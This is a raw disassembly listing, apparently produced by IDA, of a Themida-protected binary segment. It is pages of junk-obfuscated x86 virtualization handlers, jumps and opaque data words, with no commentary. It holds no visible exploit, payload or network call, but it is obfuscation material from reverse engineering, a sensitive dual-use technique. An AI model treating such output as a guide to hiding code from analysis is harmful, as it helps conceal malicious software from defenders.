9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF82CBh ; DATA XREF: Themida_:0055FE60o ; --------------------------------------------------------------------------- loc_567CD4: ; CODE XREF: Themida_:00574717j sub ecx, 65495C14h sub ecx, 1 xor ecx, 408F7013h jmp loc_56DDA3 ; --------------------------------------------------------------------------- loc_567CE8: ; CODE XREF: Themida_:00564E92j add ebp, edi pop edi push 3BF0h jmp loc_5664C7 ; --------------------------------------------------------------------------- byte_567CF5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055FE4Co dd 0B704E924h db 2 dup(0FFh) word_567CFE dw 5155h ; DATA XREF: Themida_:0055FDD8o dd 32CF6857h, 3C8B4178h, 4C48324h, 32E7BA52h, 48E9365Dh db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_567D17: ; CODE XREF: Themida_:0056F012j add ebp, 864A5A56h mov edx, ebp jmp loc_562FB3 ; --------------------------------------------------------------------------- dd 0F87FABB8h, 4E8C10Bh, 0C1D8E9h db 0 ; --------------------------------------------------------------------------- loc_567D31: ; CODE XREF: Themida_:00562586j push ebp mov ebp, 4 add ecx, ebp push dword ptr [esp] pop ebp jmp loc_570051 ; --------------------------------------------------------------------------- loc_567D42: ; CODE XREF: Themida_:0057324Dj push dword ptr [esp] jmp loc_57072C ; --------------------------------------------------------------------------- dw 0F309h dd 4EC835Eh, 57CEE9h, 0E9EE3100h, 8E96h ; --------------------------------------------------------------------------- loc_567D5C: ; CODE XREF: Themida_:005744A4j mov eax, 657031Eh jmp loc_572C33 ; --------------------------------------------------------------------------- dw 0E829h dd 271EE105h, 1EDE96Ah db 2 dup(0) word_567D72 dw 0E468h ; DATA XREF: Themida_:0055FE70o dd 8900000Dh, 0F8882404h, 4247C8Ah, 4244488h, 0E92434FFh dd 43CCh, 2D5BD801h, 58C87DF9h, 0F905D801h, 0E958C87Dh dd 0FFFFBA33h, 83243C8Bh, 0BD5504C4h, 4, 0FFF7E7E9h, 48B66FFh dd 6B236824h, 4890000h, 5E08924h, 4, 55A768h, 242C8900h dd 0CC7A1DBDh, 56D5F75Fh, 20201368h, 0F5315E7Dh, 0D5F74D5Eh dd 0B850EDD1h, 60464883h, 1076CF0Dh, 0B6689675h, 8900007Dh dd 6DE92434h, 0C1000025h, 0C78106EFh, 57BC18F7h, 0E95FFB29h dd 0B53Dh, 41665B66h, 43BF6657h, 0A9C2E965h, 0E95B0000h dd 0C6DCh, 334A68h, 37E3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_567E2A: ; CODE XREF: Themida_:0057290Aj or edx, eax jmp loc_563FB4 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 42D0000h, 50000000h, 42474FFh, 24048F58h, 2579E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_567E4A: ; CODE XREF: Themida_:00565635j mov [esp], eax mov eax, 0DF5461FBh sub ebp, eax pop eax add edx, ebp pop ebp pop ebx and eax, edx pop edx shr eax, 12h jmp loc_56C098 ; --------------------------------------------------------------------------- dd 0DDC280h, 0DDEA80C2h, 24048B66h, 402C483h, 142C67h dd 0E91404D0h, 8115h ; --------------------------------------------------------------------------- loc_567E80: ; CODE XREF: Themida_:0056AC02j push dword ptr [esp] mov ebx, [esp] jmp loc_5636B3 ; --------------------------------------------------------------------------- db 0F7h dd 2C442DD8h, 0E957A2EDh, 0FFFFB928h, 4BEh, 0A4A7E900h dd 13B90000h, 0E90FCE36h, 421Ch ; --------------------------------------------------------------------------- loc_567EAC: ; CODE XREF: Themida_:0056DE9Dj push eax mov ah, ch mov dh, ah pop eax mov [edi+eax*4+1], dh pop edx mov ecx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 jmp loc_55FF9F ; --------------------------------------------------------------------------- dd 69C4C281h, 0DA015DDFh, 89B8E9h, 81D7F600h, 2ECh, 14896600h dd 578F6824h, 1C890000h, 504DB724h, 0EC83FC88h, 0CC37E904h dd 3C8BFFFFh, 4C48324h, 0E9240C8Bh, 1D9Bh, 1B9B951h, 0A1E96DDFh dd 8100005Ch, 4ECh, 24148900h, 1E95A54h, 89FFFFFFh, 5266240Ch dd 0D022B151h, 62E980E9h, 8859CA88h, 72C5E9D5h, 0F75A0000h dd 0DCF181D1h, 0E9719209h, 62ACh, 68241C89h, 6403h, 0BE243489h dd 3EA866BFh, 0C15EF389h, 67E902E3h, 8BFFFFF6h, 0D6E9242Ch dd 89FFFF93h, 3DE92414h db 1, 2 dup(0) byte_567F6F db 0F7h ; DATA XREF: Themida_:0055FE98o dd 0E99C241Ch, 0FFFFDE3Fh, 0F75EF331h, 0E4F381D3h, 29D3AEDDh dd 29685BDEh, 8900003Bh, 59BA2414h, 51BE396Bh, 6AF2BA52h dd 2AB92092h, 0E9289274h, 0FFFF9F35h ; --------------------------------------------------------------------------- loc_567FA4: ; CODE XREF: Themida_:00568072j shl edx, 4 jmp loc_56BE87 ; --------------------------------------------------------------------------- loc_567FAC: ; CODE XREF: Themida_:005640E6j push 341Bh jmp loc_569215 ; --------------------------------------------------------------------------- dw 815Ah dd 4C2h, 4C28100h, 87000000h, 248B2414h, 24048F24h, 6424248Bh dd 0E9028966h, 0FFFF8255h, 4C481h, 89530000h, 4C381E3h dd 81000000h, 4EBh, 0AAEEE900h, 1C8BFFFFh, 0E7895724h dd 7AF68h, 0BD5EE900h, 4810000h, 424h, 24348B00h, 0FFE017E9h db 0FFh ; --------------------------------------------------------------------------- loc_568011: ; CODE XREF: Themida_:00561552j push 0 sub dword ptr [esp], 6CCF6FA2h sub [esp], ecx add dword ptr [esp], 6CCF6FA2h push dword ptr [esp] pop ecx add esp, 4 jmp loc_56FAF7 ; --------------------------------------------------------------------------- dw 44BAh dd 5753826Eh, 0D011E9h, 18C16800h, 34890000h, 17236824h dd 24890000h, 24048324h, 0C6815E04h, 4, 0DAE95352h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_568063: ; CODE XREF: Themida_:0057292Bj pop edx push edx mov edx, 3DC63CAh add edx, 39D85D65h not edx jmp loc_567FA4 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF7F23h, 2C71F780h, 81D52C75h, 4ECh, 0C6E6E900h dd 48B0000h, 4C48124h, 81000000h, 332EE5E1h, 50D1F75Eh dd 5E4776B8h, 0E9C1014Bh, 208Ch, 33E95A55h, 0B600006Fh dd 0DFE951C9h, 52FFFFE2h, 0FE17BEBAh, 198DBB2Eh, 0D3011D6Dh dd 61F3815Ah, 15E7164h, 241C8BDFh, 4C481h, 0EF010000h dd 552AEF81h, 335D121Ah, 3C31243Ch, 243C3324h, 0EE9CE95Ch db 2 dup(0FFh) word_5680F2 dw 8B66h ; DATA XREF: Themida_:0055FEE4o dd 0A1E92404h db 0A1h, 2 dup(0) a131Hgb db '1,$3,$1,$h£B',0 ; DATA XREF: Themida_:0055FE6Co dd 242C8900h, 7175E9h, 0BF575C00h, 4, 7267C681h, 0C6811C92h dd 45F84011h, 0FDE9FE01h, 0BDFFFFA2h, 4, 14ACE981h, 0E9014E3Eh dd 14ACC181h, 2C8B4E3Eh, 0A95AE924h, 72680000h, 5D544A11h dd 0B850D5F7h, 0FE96AA4Ch, 6D36E9h, 242C3100h, 31242C33h dd 38E9242Ch, 21FFFF7Eh, 242C8BE8h, 5E08950h, 4, 8704C083h dd 0FF5C2404h, 34FF1C77h, 8685924h, 89000030h, 0E2892414h dd 2EDCBB53h, 0EBD13B95h, 0C381E3D1h, 2A396C85h, 4A0E381h dd 0F3813276h, 20460024h, 0FF93B9E9h, 240C8BFFh, 0B104C483h dd 0C7E98045h, 0FFC870E9h db 0FFh ; --------------------------------------------------------------------------- loc_5681BD: ; CODE XREF: Themida_:00573CC8j mov [esp], bx mov bh, 0BAh jmp loc_56A46B ; --------------------------------------------------------------------------- dd 8F04C483h, 0E95C2404h, 0B980h, 0C681E689h, 4, 86685355h dd 8B312C06h, 8956241Ch, 4C681E6h, 53000000h, 8041E9h db 0 ; --------------------------------------------------------------------------- loc_5681F5: ; CODE XREF: Themida_:0056B3DBj push ebx sub esp, 4 mov [esp], esi mov esi, 0BF91C3Ch jmp loc_56B32A ; --------------------------------------------------------------------------- dw 1E05h dd 6857DC0Ch, 401Ah, 0BA241489h, 10CE33FCh, 0FFFFBD55h dd 0EA29FFFFh, 63F2815Dh, 51145220h, 0E75BB53h, 85B935C5h dd 1326853h, 9A685BD9h, 89000013h, 22BE2434h, 291A9558h dd 24348BF0h, 4C481h, 0C8290000h, 0C188E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568256: ; CODE XREF: Themida_:00573A56j pop edi add esi, ebp mov ebp, [esp] add esp, 4 xor ebp, esi pop esi shl ebp, 5 jmp loc_5697B4 ; --------------------------------------------------------------------------- aSS4 db 'Áé',8,'é 4',0 db 0 ; --------------------------------------------------------------------------- loc_568275: ; CODE XREF: Themida_:005739DDj push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xchg ebp, [esp] pop esp jmp loc_567A18 ; --------------------------------------------------------------------------- loc_568292: ; CODE XREF: Themida_:00562E93j push eax jmp loc_56CC73 ; --------------------------------------------------------------------------- dword_568298 dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF7CF7h, 74F568h ; DATA XREF: Themida_:0055FCD0o dd 24348900h, 55EAB850h, 0E8C14A06h, 0D0F74003h, 87BFB42Dh dd 0E9C689AEh, 7E08h ; --------------------------------------------------------------------------- loc_5682C8: ; CODE XREF: Themida_:005753D2j pop ebp xchg ecx, [esp] mov esp, [esp] movzx eax, al lea eax, [edi+eax*4] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_56EA81 ; --------------------------------------------------------------------------- db 81h, 0F3h, 1Fh dd 68780C0Ch, 7964h, 0FFAE05E9h db 0FFh ; --------------------------------------------------------------------------- loc_5682F5: ; CODE XREF: Themida_:00560E79j shl esi, 2 push ebx jmp loc_56C561 ; --------------------------------------------------------------------------- dw 148Bh aSm db '$é¬',0Ah,0 align 2 a_rs db '_Ré',9,'Ï',0 db 0 ; --------------------------------------------------------------------------- loc_56830D: ; CODE XREF: Themida_:0056C5ECj and esi, 55663864h shl esi, 2 push 44ECh jmp loc_571C68 ; --------------------------------------------------------------------------- dd 83241C8Bh db 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 59646C4Fh jmp loc_573A36 ; --------------------------------------------------------------------------- dd 3F3DBF57h, 0E78144C6h, 25592CFFh, 6746E781h, 814779D4h dd 0D47DBECFh, 97EF8142h, 29F1F107h, 0D8295FF8h, 0E3762805h dd 0B88AE950h, 0C4810000h, 4, 0C79DE9h, 2C815900h, 826E4424h dd 0D0B95153h, 29097E26h, 5904244Ch, 47240481h, 514D4903h dd 1898E9h, 12BE5600h, 2145A228h, 2434FFF1h, 4C4815Eh dd 68000000h, 6C5Fh, 0BE243489h, 6D6F28DCh, 4EC81h, 3C890000h dd 99BD5524h, 0E97AEA4Ah, 0FFFFF76Fh, 4EC81h, 14890000h dd 5BE95424h, 51FFFFF2h, 0FFBBE9E9h, 0E18951FFh, 0FF8131E9h dd 241C8BFFh, 8104C483h, 4C3h, 0BA525500h, 64A137E0h, 2D41CFBDh dd 5AD501E4h, 79ABF581h, 0EB8148CEh, 0C26105h, 0C381EB01h dd 0C26105h, 241C335Dh, 33241C31h, 0E95C241Ch, 690h, 0E904EC83h dd 2C1h, 2C481h, 0EC830000h, 241C8904h, 88B6B450h, 0AC3DE9E3h dd 0C8BFFFFh, 4C48124h, 0E9000000h, 6718h, 7AD2E957h, 34FF0000h dd 0C4835F24h, 0AB6CE904h, 5652FFFFh, 537A5CBEh, 0A23BE924h dd 0D9BE0000h, 8150423Dh, 8838ECEEh, 0DEF7461Ch, 441DC681h dd 0F6813F12h, 4BD95EACh, 15EF529h, 83C581C5h, 0FF408161h dd 53582434h, 0C381E389h, 4, 4EC81h, 0C890000h, 3656E924h db 2 dup(0) off_5684A6 dd offset dword_554F64+4 ; DATA XREF: Themida_:0055FF3Co dw 0E900h dd 0FFFF8C3Dh, 8ABE564Ah, 814A4061h, 540B9CF6h, 5EF231F9h dd 15AD001h, 0C165E9C1h, 0D687FFFFh, 3FF2BB53h, 0E381471Ah dd 47DF405Eh, 45C7F381h, 2E96A7Bh, 89FFFFFEh, 4C581E5h dd 81000000h, 4C5h, 242C3300h, 0E9242C31h, 2EF3h, 72DFC281h dd 0EAC1475Eh, 0FFA6E903h, 148BFFFFh, 0E7895724h, 4C781h dd 0B9510000h, 4, 8759CF01h, 875C243Ch, 248B243Ch, 48B6624h dd 0A1F6824h, 21E90000h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_568537: ; CODE XREF: Themida_:00565664j pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_56FAAE ; --------------------------------------------------------------------------- dd 14243481h, 5D667600h, 14F581h, 13E96676h, 8B0000BAh dd 0C4832434h, 8BC32904h, 0C4812404h, 4, 274BE9h, 55C82900h dd 85596DBDh, 5DE82975h, 592434FFh, 5104C483h, 0FFAB41E9h dd 0E0BD55FFh, 13B0A01h, 0F7015DEEh, 2233E95Eh, 148B0000h dd 4C48124h, 33000000h, 3C31243Ch, 79A7E924h, 0EC810000h dd 4, 0E9243489h, 0FFFFB3CFh, 0C281E289h, 4, 8704C283h dd 248B2414h, 0E9D70124h, 0FFFF99FBh, 34FFF531h, 4E8DE924h dd 0FF680000h, 0E900007Ch, 3E2Ah ; --------------------------------------------------------------------------- loc_5685EC: ; CODE XREF: Themida_:00565DFEj mov eax, 2FFD2FD6h and eax, 28DE4486h not eax sub eax, 50D864B1h sub eax, 3D08216Fh push edi mov edi, 4E4C40DCh dec edi sub esp, 4 mov [esp], esi mov esi, 17E241D3h xor esi, 555353FEh jmp loc_562D30 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0E9241C87h, 5974h ; --------------------------------------------------------------------------- loc_568630: ; CODE XREF: Themida_:005664BCj mov ebp, edi pop edi push edi mov edi, 6AE13A1Ch sub edi, 0E0F2FC2h mov edx, edi jmp loc_5716BF ; --------------------------------------------------------------------------- dw 8853h dd 0FC8850EFh, 5B58E288h, 0E9240C8Bh, 0FFFFF4BCh dword_568658 dd 0FF2434FFh, 34FF2434h, 0C4815A24h, 4, 79ABE957h, 3C8B0000h ; DATA XREF: Themida_:0055FDC8o dd 4C48124h, 0E9000000h, 87DCh ; --------------------------------------------------------------------------- loc_56867C: ; CODE XREF: Themida_:0056E678j mov ebx, 4 add ecx, ebx pop ebx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_571B6B ; --------------------------------------------------------------------------- dw 0B850h dd 4, 5158C301h, 50C5E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5686BE: ; CODE XREF: Themida_:00570A02j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], ecx push esi push 0BC12998h jmp loc_56CAAA ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 4BD55h, 58550000h, 86EA815Dh, 29313A6Ch, 86C281C2h dd 58313A6Ch, 2474FF52h, 48F5A04h, 24248B24h, 89240C89h dd 0B271E9E1h, 0C6810000h, 4, 8704C683h, 835C2434h, 348904ECh dd 4EC8124h, 89000000h, 0DDE9241Ch, 830000ACh, 2C8904ECh dd 4BD24h, 0E8010000h, 5EE9515Dh, 1FFFFA6h, 240C8BCDh dd 4C481h, 0FF550000h, 5D042474h, 0E924048Fh, 0FFFFDA4Ah dword_568764 dd 24048B66h, 34FF5451h, 2434FF24h, 7CD8E959h ; DATA XREF: Themida_:0055FD98o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568776: ; CODE XREF: Themida_:00571CCCj push 0EE4h jmp loc_563B6C ; --------------------------------------------------------------------------- dd 9301C383h, 0D0E3E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56878A: ; CODE XREF: Themida_:00573D02j add edi, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_568B2A ; --------------------------------------------------------------------------- loc_5687A3: ; CODE XREF: Themida_:00560C4Fj sub esp, 4 jmp loc_56FCA0 ; --------------------------------------------------------------------------- db 81h dd 2B3F24F2h, 0DC38132h, 0E93E5266h, 0B62Dh, 0F381DBF7h dd 0BED09408h, 3BE9DE01h db 0CBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5687CB: ; CODE XREF: Themida_:0056E33Cj sub edx, 4C1F71AEh add edx, 0A33AAF71h sub ebx, edx pop edx pop ebp jmp loc_565464 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 8704C283h, 815C2414h, 4C3h, 2BE95500h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5687FB: ; CODE XREF: Themida_:00571870j push dword ptr [esp] pop esi add esp, 4 push eax jmp loc_56A690 ; --------------------------------------------------------------------------- loc_568808: ; CODE XREF: Themida_:0056F281j pop ebp jmp loc_56D428 ; --------------------------------------------------------------------------- loc_56880E: ; CODE XREF: Themida_:005655F4j mov edx, [esp] jmp loc_568AF0 ; --------------------------------------------------------------------------- dw 0EA81h dd 42352928h, 72D7EA81h, 0D0313183h, 0FFD072E9h db 0FFh ; --------------------------------------------------------------------------- loc_568829: ; CODE XREF: Themida_:005721F2j add ebp, esi pop esi sub ebp, 62B828A1h or ebp, 1D09135Eh jmp loc_564113 ; --------------------------------------------------------------------------- db 0BBh, 96h, 68h dd 0CB81616Fh, 42224A1Fh, 54B8F381h, 0AE907A9h, 5DFFFFE2h dd 4E9E9h db 0 byte_568859 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055FDF0o aHwi db '$hwi',0 align 2 dw 4DE9h dd 3100000Ch, 168B68C3h, 1C890000h, 6930BB24h, 95682231h dd 89000051h, 0EC81243Ch, 4, 0E9241C89h, 905Ah ; --------------------------------------------------------------------------- loc_56888C: ; CODE XREF: Themida_:00568F0Bj sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi mov esi, esp jmp loc_5659A1 ; --------------------------------------------------------------------------- dd 0F664F580h, 0C1ED80D5h, 30C5E9h, 0C7815E00h, 5D9A5487h dd 0FF8464E9h, 0D7E95BFFh, 81FFFFF2h, 0BF40D8E9h, 59CD31AAh dd 59E9E801h, 5000006Ch, 42474FFh, 0FFE540E9h db 0FFh ; --------------------------------------------------------------------------- loc_5688D9: ; CODE XREF: Themida_:00568E94j sub ebx, 17E7F0D4h add ebp, ebx pop ebx jmp loc_570442 ; --------------------------------------------------------------------------- db 5Ch dd 0FF243489h, 8B042474h, 0DE92434h, 590000A2h, 81ACE9h dd 24143300h, 33241431h, 248B2414h, 48B6624h, 85C6824h dd 2C890000h, 109FE924h, 0D8310000h, 0E272E95Bh, 2D5EFFFFh dd 2CD30CF6h, 0D715BA05h, 0B194E936h, 0F74A0000h, 81D2F7D2h dd 0DE10FFE2h, 81D2F716h, 49C2h, 0E9D60114h, 0FFFF78B7h dd 405h, 27FCE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_568956: ; CODE XREF: Themida_:0056E963j add ebx, eax jmp loc_562663 ; --------------------------------------------------------------------------- db 0BAh, 0, 3 dd 0DAF71B64h, 6C1FE281h, 814260F5h, 39634FCAh, 0B5C28131h dd 18E4690h, 0C937E9D5h, 0C483FFFFh, 1C6F0904h, 0FF7E7BE9h dd 0B22CFFh, 87E9E9C8h, 35B20000h, 0C059EA00h, 5EE908E2h dd 81FFFF9Fh, 7C181BF2h, 6CF28102h, 1EFC211h, 81565AD6h dd 1F362404h, 7FE9434Ch db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5689BB: ; CODE XREF: Themida_:0056A9FDj xor bl, ah jmp loc_56D170 ; --------------------------------------------------------------------------- dw 8359h dd 0EC8304C4h, 24348904h, 22DAE9h, 24043300h, 0C197E9h dd 2474FF00h, 48F5A04h, 48F5C24h, 24248B24h, 2424D366h dd 75ADE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5689F2: ; CODE XREF: Themida_:00562296j pop ecx add al, 1Dh push edx mov dl, 0BBh sub al, dl pop edx add al, 0ECh sub al, dh sub al, 0ECh add al, 0BBh sub al, 1Dh mov dx, [esp] jmp loc_571B05 ; --------------------------------------------------------------------------- dw 815Bh dd 25252E9h, 0E9C12901h, 0FFFFD455h, 9C240CFFh, 0FF7619E9h dd 78E958FFh, 54000006h, 4C18159h, 81000000h, 4E9h, 74FF5100h dd 8F590424h, 895C2404h, 7BB22414h, 808CEA80h, 0B05053C2h dd 58C22034h, 50DC68h, 86FCE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568A5E: ; CODE XREF: Themida_:0056F37Aj mov esi, 0CA00DA53h add esi, ecx mov ecx, [esp] add esp, 4 xchg ecx, esi push ecx xchg ecx, [esp] jmp loc_5754AD ; --------------------------------------------------------------------------- loc_568A79: ; CODE XREF: Themida_:00567C40j push 3E97h mov [esp], ebx jmp loc_5633A2 ; --------------------------------------------------------------------------- dw 2C89h dd 2404FF24h, 685FE9h, 6167BE00h, 0DDE91A0Fh, 68FFFFF4h dd 495Ch, 0F7240C89h, 0E959241Ch, 0FFFFC2F1h, 0FF74EEE9h dd 4797BAFFh, 0D5290363h, 8324148Bh, 215E04C4h, 2C8B1C6Fh dd 4C48324h, 6AE5E9h, 68E38900h, 9FAh, 844CE9h, 3F286800h dd 25582D3Ch, 6E86C61h, 52AFA05h, 0E9C6890Ch, 0FFFF962Ch ; --------------------------------------------------------------------------- loc_568AF0: ; CODE XREF: Themida_:00568811j add esp, 4 jmp loc_567310 ; --------------------------------------------------------------------------- dd 0C056C480h, 0F48002ECh, 4356E95Ch, 88510000h, 0E9E888D5h dd 9881h ; --------------------------------------------------------------------------- loc_568B10: ; CODE XREF: Themida_:005718E1j or esi, 2C8449C6h xor esi, 8785DE6Fh add ebx, esi pop esi push ebx jmp loc_573252 ; --------------------------------------------------------------------------- db 0E9h, 75h, 74h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568B2A: ; CODE XREF: Themida_:0056879Ej pop esp push edi not dword ptr [esp] pop edi jmp loc_56A248 ; --------------------------------------------------------------------------- loc_568B35: ; CODE XREF: Themida_:00569AB9j shl ebp, 7 xor ebp, 1AD92B5Fh sub ebp, 0C6C88632h mov ecx, ebp jmp loc_56B708 ; --------------------------------------------------------------------------- loc_568B4B: ; CODE XREF: Themida_:00571432j mov esi, 1 jmp loc_570FB7 ; --------------------------------------------------------------------------- db 0E9h, 45h, 74h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568B5A: ; CODE XREF: Themida_:0057336Aj mov [esp], ebx mov ebx, 61C90BCCh push 3E07549Bh push dword ptr [esp] pop ecx jmp loc_56E840 ; --------------------------------------------------------------------------- dd 9C240428h, 0FF7426E9h db 0FFh ; --------------------------------------------------------------------------- loc_568B79: ; CODE XREF: Themida_:0056E686j add esp, 4 sub ecx, 332B3CCAh jmp loc_56FD47 ; --------------------------------------------------------------------------- db 5Bh dd 0B0E5F781h, 60E9E809h, 68FFFF78h, 4AA3h, 0BF243C89h dd 4, 52B4E981h, 0F9010C0Ch, 52B4C181h, 685F0C0Ch, 65D6h dd 0FF240C89h, 59042474h, 23A2E9h, 24048900h, 2747E9h dd 64C38000h, 0E950B050h, 8080h, 0E924248Bh, 0FFFF73C3h dd 159C829h, 1EE105D8h, 55B075Ch, 2, 8B240487h, 8B662424h dd 89512404h, 0BB5355E1h, 3FE567DDh, 97968CBDh, 8BDD294Fh dd 0C483241Ch, 55B85004h, 56F04DD1h, 0FFF84DE9h, 4E7C1FFh dd 0C0C8EF81h, 0FB29C2EFh, 8BDF895Fh, 0E3E9241Ch, 83FFFFEBh dd 2C8702C5h, 24248B24h, 754D6853h, 0C890000h, 52D58824h dd 0D388EA88h, 240C8B5Ah, 6804C483h, 3A70h, 83241489h dd 48904ECh, 0ACC8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568C62: ; CODE XREF: Themida_:0056FAF8j mov esi, 23C84081h and ecx, esi pop esi or ecx, 62E30F57h jmp loc_56DBEF ; --------------------------------------------------------------------------- loc_568C75: ; CODE XREF: Themida_:00560E59j push 6723h mov [esp], esi jmp loc_56E434 ; --------------------------------------------------------------------------- dw 0E954h dd 134Eh, 43ECE951h, 0C4FE0000h, 88B9EC80h, 786858E3h dd 8900007Bh, 0D8882404h, 88C18851h, 240C8BCAh, 4C481h dd 0A8E90000h, 68FFFFCEh, 0FD8h, 0BD242C89h, 6DCF4C98h dd 609CE9h db 0 ; --------------------------------------------------------------------------- loc_568CC5: ; CODE XREF: Themida_:0056BC5Cj neg edi sub edi, 32291B54h jmp loc_571B81 ; --------------------------------------------------------------------------- dw 0BB53h dd 52561B11h, 73D8E981h, 0D90101E2h, 73D8C181h, 0F0E901E2h dd 0B9FFFFE4h, 4, 5B3EEE81h, 0CE0154ADh, 5B3EC681h, 0C8B54ADh dd 4C48324h, 0FFA075E9h, 5AD501FFh, 3F92E9h, 3E1C100h dd 7D06B850h, 992D588Ah, 1321648h, 0AB5BE9C1h, 0C481FFFFh dd 4, 0FF841DE9h, 0E95659FFh, 124h, 89243C89h, 9A1CE9E7h dd 0C289FFFFh, 0E924048Bh, 0FFFF9033h, 0BC1EE81h, 0CE013F36h dd 0BC1C681h, 1593F36h, 0BD555EF1h, 4, 390EE9h, 0F7D8F700h dd 8E0C1D0h, 71CC3335h, 901BE919h, 815FFFFFh, 4C4h, 77DA6800h dd 1C890000h, 4BB24h, 0EEE90000h, 55FFFF84h, 2D0C75BDh dd 4547E912h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_573D6E ; --------------------------------------------------------------------------- dw 0C481h dd 4, 9343E9h, 5585400h, 4, 4CF268h, 240C8900h, 1B95BE56h dd 10E9181Ah, 81FFFFB8h, 4ECh, 24148900h, 6520A1BAh, 67F2811Ch dd 0F70ACB10h, 0F2814ADAh, 768C568Ah, 0F281D2F7h, 19447644h dd 5770EE81h, 0D629190Bh, 5770C681h, 15A190Bh, 9511E9F5h dd 0E95D0000h, 8874h, 0D028F180h, 84E953E9h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_568E23: ; CODE XREF: Themida_:00571D66j sub edi, ebx pop ebx sub esi, edi jmp loc_5734FB ; --------------------------------------------------------------------------- loc_568E2D: ; CODE XREF: Themida_:00567326j mov edi, 0A045CE5Dh jmp loc_574477 ; --------------------------------------------------------------------------- aLS7 db '‹$$éÙ7',0 dw 8100h dd 4C4h, 1C4F2100h, 0FF795DE9h, 243C89FFh, 0B5240481h dd 0E931D436h, 67CDh, 4EC81h, 0E2E90000h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_568E67: ; CODE XREF: Themida_:00570CA2j add esp, 4 add ebx, 6A0137EEh xor ebx, 3D095B93h push ecx mov ecx, 1F983012h sub ecx, 3804464Dh shr ecx, 7 and ecx, 2A407362h sub ecx, 0E7E22144h add ebx, ecx pop ecx jmp loc_5688D9 ; --------------------------------------------------------------------------- db 5Ch, 0F7h, 0DDh dd 0F716895h, 0DEE90000h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568EA7: ; CODE XREF: Themida_:0056E355j xchg ecx, [esp] pop esp mov [esp], edi mov edi, esp add edi, 4 jmp loc_563012 ; --------------------------------------------------------------------------- loc_568EBB: ; CODE XREF: Themida_:00564D0Cj add esp, 4 sub [esp+8], ebx pop ebx pop eax pop dword ptr [edi+40h] push ecx mov ecx, 288E1D9Fh jmp loc_56463B ; --------------------------------------------------------------------------- db 89h, 0E3h, 50h dd 483232B8h, 40050542h, 0F748207Bh, 589635D8h, 582D23F2h dd 0E9BECED5h, 7B61h, 0FFC5814Dh, 0C1FFFFFFh, 3DE903EDh db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_568F03: ; CODE XREF: Themida_:00566BEDj mov edi, esp add edi, 4 jmp loc_56888C ; --------------------------------------------------------------------------- dd 5C240C87h, 0BF243C89h, 4, 0FFE78CE9h db 0FFh ; --------------------------------------------------------------------------- loc_568F21: ; CODE XREF: Themida_:00567313j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_5747D7 ; --------------------------------------------------------------------------- dw 0BE56h dd 7FD92608h, 8247429h, 5524348Bh, 81F5E9h, 48F5B00h, 24248B24h dd 51C8AF0Fh, 7035E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568F6A: ; CODE XREF: Themida_:0056F7A6j sub eax, 2D15B7h push edx push ebx mov ebx, 505D6179h jmp loc_5643EB ; --------------------------------------------------------------------------- db 0C1h dd 7BE904EFh, 53FFFFDEh, 6B7832BBh, 45E38170h, 0C1371E15h dd 7E902E3h, 8900002Eh, 0A682404h, 8900003Ch, 36E92424h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568FA7: ; CODE XREF: Themida_:0057052Bj pop edx xor ebx, [esp] jmp loc_56E8F5 ; --------------------------------------------------------------------------- loc_568FB0: ; CODE XREF: Themida_:00565535j mov esp, [esp] push 5EDAh mov [esp], edi push 7A050C04h pop edi push 1D13h mov [esp], ecx push esi push 701C57B7h pop esi push edx push ebp jmp loc_574E2A ; --------------------------------------------------------------------------- loc_568FD7: ; CODE XREF: Themida_:0057097Ej add edi, ecx jmp loc_56A99B ; 